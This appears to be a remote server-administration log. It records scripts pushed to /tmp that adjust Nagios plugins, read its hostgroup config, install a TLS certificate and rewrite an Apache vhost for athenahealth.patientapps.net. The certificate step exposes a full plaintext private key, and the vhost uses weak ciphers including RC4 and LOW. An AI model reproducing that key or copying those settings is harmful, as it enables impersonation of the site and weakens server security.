PUT: /tmp/pkp489954

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-03-12 12:46:23: 

chmod 755 /tmp/pkp489954; /tmp/pkp489954; rm /tmp/pkp489954

2026-03-12 12:46:23: 


ok


2026-03-12 12:46:23: 

PUT: /tmp/pkp366445

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-12 12:46:23: 

chmod 755 /tmp/pkp366445; /tmp/pkp366445; rm /tmp/pkp366445

2026-03-12 12:46:23: 


ok


2026-03-12 12:46:23: 

PUT: /tmp/pkp941347

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-03-12 12:46:23: 

chmod 755 /tmp/pkp941347; /tmp/pkp941347; rm /tmp/pkp941347

2026-03-12 12:46:23: 


ok


2026-03-12 12:46:24: 

PUT: /tmp/pkp524971

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-03-12 12:46:24: 

chmod 755 /tmp/pkp524971; /tmp/pkp524971; rm /tmp/pkp524971

2026-03-12 12:46:24: 


ok


2026-03-12 12:46:24: 

PUT: /tmp/pkp540376

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-03-12 12:46:24: 

chmod 755 /tmp/pkp540376; /tmp/pkp540376; rm /tmp/pkp540376

2026-03-12 12:46:24: 


ok


2026-03-12 12:46:56: Establishing a connection
2026-03-12 12:46:56: 

PUT: /tmp/pkp755023

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-12 12:46:56: 

chmod 755 /tmp/pkp755023; /tmp/pkp755023; rm /tmp/pkp755023

2026-03-12 12:46:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-12 12:46:56: 

systemctl reload nagios

2026-03-12 12:46:56: 




2026-03-12 12:47:04: Establishing a connection
2026-03-12 12:47:04: 

PUT: /tmp/pkp850623

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-12 12:47:04: 

chmod 755 /tmp/pkp850623; /tmp/pkp850623; rm /tmp/pkp850623

2026-03-12 12:47:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-12 12:47:04: 

systemctl reload nagios

2026-03-12 12:47:05: 




2026-03-12 12:47:11: Establishing a connection
2026-03-12 12:47:11: 

PUT: /tmp/pkp910678

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-12 12:47:11: 

chmod 755 /tmp/pkp910678; /tmp/pkp910678; rm /tmp/pkp910678

2026-03-12 12:47:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-12 12:47:11: 

systemctl reload nagios

2026-03-12 12:47:11: 




2026-03-13 06:00:02: Establishing a connection
2026-03-13 06:00:03: Establishing a connection
2026-03-13 06:00:03: 

PUT: /tmp/pkp984479

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-13 06:00:04: 

chmod 755 /tmp/pkp984479; /tmp/pkp984479; rm /tmp/pkp984479

2026-03-13 06:00:04: 


0


2026-03-13 06:00:32: Establishing a connection
2026-03-13 06:00:32: 

PUT: /tmp/pkp176795

#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt

cat > $temp_file <<'endmsg'
8b:fc:15:89:ec:b5:bf:d8:39:da:01:89:8e:0d:9f:9d

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBXU4uS25gTPhFtEGPyle5h4rMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEzMDUwMjAxWhcNMjYwNjExMDUwMjAwWjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtTcKXqQnCZnEn+PC2cwv2xQF+zV45rdy7yolm692QJci
UHgNNKe89EdXb08iNa9TcyCRzkSMRdRZPRfoHPB48no+cc7NHfG6cOcg3ATLA2m6
g2nPV+DWTOXmh/HUFulvbZdVGPOUcQGrCENXRpjqgYu49/0twxqxCRDOo2bcsIhc
VPwn2u1oyHaouZTmcMXOCvckQPxJqyRR9dQM/606WZa5RS7fAk8zpRksfSSrchtn
GpD+JjnZ7Nir9NmrTfXUVvZpSdkn5vxS0QAJJt42/PsOBKtCYU7wPM3KT3SEzDT6
agrXl085jAuEOzAk95eTUc5S4pzMZ3RrIL8L593UjQIDAQABo4ICKTCCAiUwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFNwTK1jkvdxWc/j+RVoj54B0m9Y4MB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcYXRoZW5haGVhbHRoLnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzQ0LmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB1AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAAB
nOXIPuUAAAQDAEYwRAIgLnwAPveqNfcx5y6UDcmiQ/YssubURuuxnkmr4v8ehEcC
IEZa3CAIpcF7XAXG1+Iu6iWOUK3p8W9jUeEIl5YSvvt9AH4AcX6V88I4im2x44RJ
PTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGc5cg/QAAIAAAFAAuNHfIEAwBHMEUCIDcf
bEyVWmA+ki6YoE9YPz/zW4T+avvjvlb+X8n/TbgLAiEAhMvBftHjHcEKfUB4Hk3v
vvFnL4exc5vUHbkhl6fNwt4wDQYJKoZIhvcNAQELBQADggEBAJbZ7xWEoEHWlJol
EsKC/hc7ccZbRfktxuVQHFyWitDh8+uVp5zFuN5ryexSh40dUNvfpuqOfODjmH/X
QDnTaHiP26nyPlYhY0vRdXi1XzpwyWhq8F0+kordSHO7hPybhmirW32DAQDGPW25
GdOJtbujM/m1HpNfBcHy7rqmrdQKUxTVI2TuU2bbNFUszhKThuJiyMgRscx1bPEz
tVfX2NtYAufxVK66PX4SP6ofdBYGP6f/ytGB0+pNEMnNJMi6OS78Y7630xP4rI04
DuAtKNmICRmvnhkdhXQnzWZK/7+AQUP+dmg287ufqlZ4Yqdaw0idamdRdnoBYwg0
YA/pdbA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1NwpepCcJmcSf
48LZzC/bFAX7NXjmt3LvKiWbr3ZAlyJQeA00p7z0R1dvTyI1r1NzIJHORIxF1Fk9
F+gc8Hjyej5xzs0d8bpw5yDcBMsDabqDac9X4NZM5eaH8dQW6W9tl1UY85RxAasI
Q1dGmOqBi7j3/S3DGrEJEM6jZtywiFxU/Cfa7WjIdqi5lOZwxc4K9yRA/EmrJFH1
1Az/rTpZlrlFLt8CTzOlGSx9JKtyG2cakP4mOdns2Kv02atN9dRW9mlJ2Sfm/FLR
AAkm3jb8+w4Eq0JhTvA8zcpPdITMNPpqCteXTzmMC4Q7MCT3l5NRzlLinMxndGsg
vwvn3dSNAgMBAAECggEAB/U40VsoE7Xa+qKH5gSffWFtudBpVMhtla8mI6Ya7U81
xI7hFZTgKWIQpuS0veLLKV0eyg4cktx2ZsZr/QlaZluT7m+EdnItG9Qqjz7uo2G7
PRYictt+zbWy3/lwtOjfadKhfA0GUcge+KfsZz9D3RiDsPA/WDgN2jYQvQBBZMcl
S1s4rlLeTDc7doHyu7buNfOr8BjaxmWQlkBZwMkgIlFwmLIf8uAxQusffhzbEImI
Ooi9e3KBL+zMgsAFLuwO+xk3XaT7LzmgwQK20eZRHbXH6cfyQCJOntYmDcreZo4A
0xRwS6MefjzCGLrX4P9mgBtZkFogRNvE3PfQ6VAYiQKBgQDbEckaE9p2xA9rSiAn
U3z7w1Xrzjhu2JiLyLCJWwpBlyK0v4aYaPyrfN+miwgKn/Tv0jkaZzKLBs/aoZDm
G6TJmd5BSB//j0/4ADOn8Mn+jEiHy2TX48FvawMk6ZiyJCRlaqoIMWRXhZrdXl86
2JiHrZiBgZbXpEDJQYixXUKNZwKBgQDTw5kqddAtVv3F6KjC4VyTOWh603kPA53V
Iuo6x8htVZ2Qsj8UKfGQPeT7yM7H1dVGWpS6/XkbzXw8o9OKDKs/Hdrqu2vf6xTI
4TZsitY4cBV4kHWOmOZjAhzB3gm0SWKmVedb7vQfR8virtV8Xr/B2zHu7+fV5eOZ
+ox3+P5h6wKBgCSefXpBdVRDA7zQgD1ypELFbThkmWRWCnHbUz8ym61JIUELfuk9
K3dTAWOqe+aixGPORUNXmshIlDgcp8b/OfWFJfTNpKOohhqTlg7tniZRttIUOsAn
zy7buYPTFHY6umbFhLSn5PkIWVHFs693g0+ywfpr+hYD29yIetwDFdvjAoGBALOn
zdnn+aV9l+6/Y+1xpEiC+9C4eIv0VYLtDCqyM6gOao7HqhxBOV9WI145DrUbBMWb
M3Mwd/7OZghMNLt55A64FXHvb6WYmxmRd8q+Pt/Ct3SBmjpQHaUBtcQDy9fYKolT
d+TW5OVk0+SMzzGkcKrWe5ZqkhU149JObb2a0LXhAoGBANK5JKSf+EzzrDao4m8K
brXCDQYhh/UpJixAKG5iDMOpisTl97FrlRRPv7K69HGp5M8QQm1UPQ+5kVedbtmY
UKPN0s8S3PhEffx0MJ/syqAbYBtsBIzwXlm3XS+zBijJrWkKbGmZ7BX7HORHt1Am
v7iKgbNVSfKoB7SlJ4yiHAlV
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-13 06:00:32: 

chmod 755 /tmp/pkp176795; /tmp/pkp176795; rm /tmp/pkp176795

2026-03-13 06:00:32: 


dir=/etc/ssl/certs


2026-03-13 06:00:32: 

PUT: /tmp/pkp412865

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-13 06:00:32: 

chmod 755 /tmp/pkp412865; /tmp/pkp412865; rm /tmp/pkp412865

2026-03-13 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-03-13 06:00:32: 

PUT: /tmp/pkp199869

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi


2026-03-13 06:00:32: 

chmod 755 /tmp/pkp199869; /tmp/pkp199869; rm /tmp/pkp199869

2026-03-13 06:00:32: 




2026-03-13 06:00:32: 

PUT: /tmp/pkp654043

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-13 06:00:32: 

chmod 755 /tmp/pkp654043; /tmp/pkp654043; rm /tmp/pkp654043

2026-03-13 06:00:33: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-13 06:00:33: Establishing a connection
2026-03-13 06:00:33: 

PUT: /tmp/pkp554043

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-13 06:00:33: 

chmod 755 /tmp/pkp554043; /tmp/pkp554043; rm /tmp/pkp554043

2026-03-13 06:00:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
